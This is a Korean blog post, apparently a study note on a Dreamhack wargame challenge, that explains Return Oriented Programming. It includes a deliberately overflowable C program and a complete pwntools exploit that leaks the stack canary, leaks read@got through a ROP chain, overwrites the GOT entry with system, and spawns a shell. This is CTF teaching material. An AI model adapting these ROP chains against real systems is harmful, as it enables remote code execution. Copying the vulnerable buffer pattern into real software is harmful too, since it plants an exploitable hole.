IT/시스템 보안

[Return Oriented Programming]

kykyky 2024. 3. 15. 21:40

사용 배경과 목적

 

system 함수를 활용해 셸을 획득하고자 system 함수의 주소를 알고싶은데,

프로그램에서 이 함수가 활용되지 않고, 심지어 ASLR 기법이 적용돼 있는 바람에 바이너리가 실행될 때마다 스택, 힙, 공유 라이브러리 등의 주소가 바뀐다면,

우리는 좀더 먼길을 돌아 주소를 얻어야 한다.

: 프로세스에서 libc가 매핑된 주소를 찾은 뒤,

이 주소로부터 system 함수까지의 offset을 구해서,

최종적으로 system 함수의 주소를 얻기

 

libc.so.6 라이브러리에는 system 함수 뿐 아니라 이 바이너리가 호출하는 read, puts, printf도 정의되어 있는데,
라이브러리 파일은 메모리에 매핑될 때 전체가 매핑되므로, read, puts, printf 뿐만 아니라 system 함수도 프로세스 메모리에 함께 적재된다.
물론, 바이너리가 system 함수를 직접 호출하진 않으니 이 함수는 GOT에는 등록되지는 않지만, 
read, puts, printf는 GOT에 등록
되어 있으니 이를 활용하면 된다. (이것을 활용하려는 시점은 이 함수들이 이미 호출된 이후인 main 함수의 return 이후이므로 활용 가능함.)

한편, 동일한 버전의 libc 안에서 두 데이터 사이의 offset (eg. read 함수와 system 함수 간의 거리)는 항상 같으므로,
libc가 매핑된 영역의 임의 주소를 구해낸다면, 다른 데이터의 주소를 모두 계산할 수 있다.

∴ read, puts, printf 중 하나의 함수를 정해서 그 함수의 GOT 값을 읽고,
그 함수의 주소와 system 함수 사이의 offset을 이용해서 system 함수의 주소를 구할 것이다.

 

 

소스 코드

// Name: rop.c
// Compile: gcc -o rop rop.c -fno-PIE -no-pie

#include <stdio.h>
#include <unistd.h>

int main() {
  char buf[0x30];

  setvbuf(stdin, 0, _IONBF, 0);
  setvbuf(stdout, 0, _IONBF, 0);

  // Leak canary
  puts("[1] Leak Canary");
    // puts(): stdout에 문자열(문자열의 시작부터 Null 문자 직전까지)과 개행 문자('\n')를 쓴다.
  write(1, "Buf: ", 5);
    // write(fd, str, nbytes): str의 nbytes만큼만 fd에 작성 
  read(0, buf, 0x100);
  printf("Buf: %s\n", buf);

  // Do ROP
  puts("[2] Input ROP payload");
  write(1, "Buf: ", 5);
  read(0, buf, 0x100);

  return 0;
}

 

 

보호기법 체크

 

 

 

스택 프레임 분석

 

(higher address...)
...
Return address (0x8바이트)
SFP [rbp] (0x8바이트)
Canary [rbp-0x8] (0x8바이트)
Dummy (0x8바이트)
buf [rbp-0x40] (0x30바이트)
...
(lower address...)

 

 

exploit 계획

 

Return address를 overwrite하여 실행 흐름을 조작해 셸을 실행하려 한다.

 

그러기 위해선

1. Canary leak을 하고,

2. GOT Overwrite, 즉 GOT에서 read 함수의 주소를 system 함수의 주소로 overwrite하고,

3. "/bin/sh"를 인자로 하여 system 함수를 호출하여 셸을 얻어야 한다.

 

 

exploit 코드

from pwn import *

def slog(name, addr): return success(': '.join([name, hex(addr)]))

p = remote("host3.dreamhack.games", 24460)
e = ELF('./rop')
libc = ELF('./libc.so.6')

# 1. Canary leak

buf = b'A' * 0x39
p.sendafter(b'Buf: ', buf)

p.recvuntil(buf)
canary = u64(b'\x00' + p.recvn(7))
slog('canary', canary)

payload = b'A' * 0x38 + p64(canary) + b'B' * 0x8

# 2. GOT Overwrite ~ 3. system("/bin/sh") 

read_plt = e.plt['read']
read_got = e.got['read']
write_plt = e.plt['write']

# Gadget의 주소
pop_rdi = 0x0000000000400853
pop_rsi_r15 = 0x0000000000400851
ret = 0x0000000000400854

# write(1, read_got, ...) ---> read@got을 leak
payload += p64(pop_rdi) + p64(1) # rdi 통해 1 전달
payload += p64(pop_rsi_r15) + p64(read_got) + p64(0) # rsi, r15 통해 각각 read@got, 0 전달 (r15는 사용 X)
payload += p64(write_plt) 

# read(0, read_got, ...) (ㄱ) ---> read@got을 system 함수 주소로 overwrite
payload += p64(pop_rdi) + p64(0) # rdi 통해 0 전달 
payload += p64(pop_rsi_r15) + p64(read_got) + p64(0) # rsi, r15 통해 각각 read@got, 0 전달 (r15는 사용 X)
payload += p64(read_plt) 

# system("/bin/sh") (ㄴ) ---> system 함수 호출
payload += p64(pop_rdi) + p64(read_got + 0x8) # rdi 통해 "/bin/sh"(read_got + 0x8 위치에 있음) 전달
payload += p64(ret) # 메모리 정렬 상태 위해 그냥 껴넣은 것
payload += p64(read_plt)

p.sendafter(b'Buf: ', payload)

# system 함수의 주소 계산
read = u64(p.recvn(6) + b'\x00' * 2)
libc_base = read - libc.symbols['read']
system = libc_base + libc.symbols['system']
slog('read', read)
slog('libc_base', libc_base)
slog('system', system)

# (ㄱ)과 (ㄴ)에서 호출된 함수에 각각 p64(system), b'/bin/sh\x00'가 입력됨
p.send(p64(system) + b'/bin/sh\x00') 

p.interactive()

 

 

exploit 상세 과정

 

 

시간의 흐름에 최대한 부합하도록 정리하였다.

 

 

1. Canary leak

 

Canary leak을 위해 buf에서 채워야 하는 입력의 크기

= buf에서 Canary까지의 offset + 1(canary의 첫 바이트는 Null) 

= (0x30 + 0x08) + 0x01

= 0x39바이트

 

 

 

2. line 46까지 실행되어 buf에 payload가 실린 직후:

 

main 함수의 스택 프레임 상에서의 payload는 아래와 같다. 

(higher address)

read@plt
ret의 주소
read@got + 0x8
pop rdi의 주소
read@plt
0
read@got
pop rsi; pop r15의 주소
0
pop rdi의 주소
write@plt
0
read@got
pop rsi; pop r15의 주소
1
pop rdi의 주소 (원래 Return address 있던 자리)
"B" * 0x08
Canary 값
"A" * 0x38

(lower address)

 

 

 

3. read 함수 주소 leak 

 

main 함수의 return에 도달하여, payload에 실린 코드들 실행 시작됨

: 맨 처음인 write(1, read_got, ...) 수행됨

즉 표준출력(1)에 read@got이 출력된다. (0은 r15에 매치될 뿐, 쓸모가 없다. pop r15 자체가 기능적으론 무의미하다.) 

그러면, line 49에서, response를 기다리고 있던 공격자는 표준출력을 통해 read@got 값을 받는다. (by p.recvn(6))

 

 

 

4. system 함수 주소로 overwrite

 

line 50~51에서는 system 함수의 실제 주소 (8바이트이다)를 계산해내고,

line 57에서는 이것 뒤에 b'/bin/sh\x00'까지 덧붙여서 send한다.

그러면, 입력을 기다리고 있던 피해 서버의 read(0, read_got, ...)는 

표준입력(0)을 통해 p64(system) + b'/bin/sh\x00'을 받아서 (총 16바이트), 이것을 GOT 상의 read 함수 주소에 overwrite한다. ( b'/bin/sh\x00'도 함께 쓰이는 거 맞음)

※ 디버깅 툴로 확인해 보면, rdx는 모종의 이유로 인해서 이미 0x10으로 딱 올바르게 설정돼 있다. 따라서 rdx를 직접 설정해주지 않아도 된다.

 

 

 

5. system 함수 실행하여 셸 획득

 

피해 서버는 이제, line 41~44에서 적재해놨던 payload에 의해,

rdi에 read_got + 0x8 (= read_got의 8바이트 뒤 = b'/bin/sh\x00')을 설정하고 read 함수를 실행한다.

그런데 이때! read 함수의 주소가 바로 위의 과정으로써 system 함수의 주소로 overwrite 되어있기에,

실제로는 system 함수가 호출된다.

즉, system("/bin/sh")가 호출됨으로써 셸이 획득된다.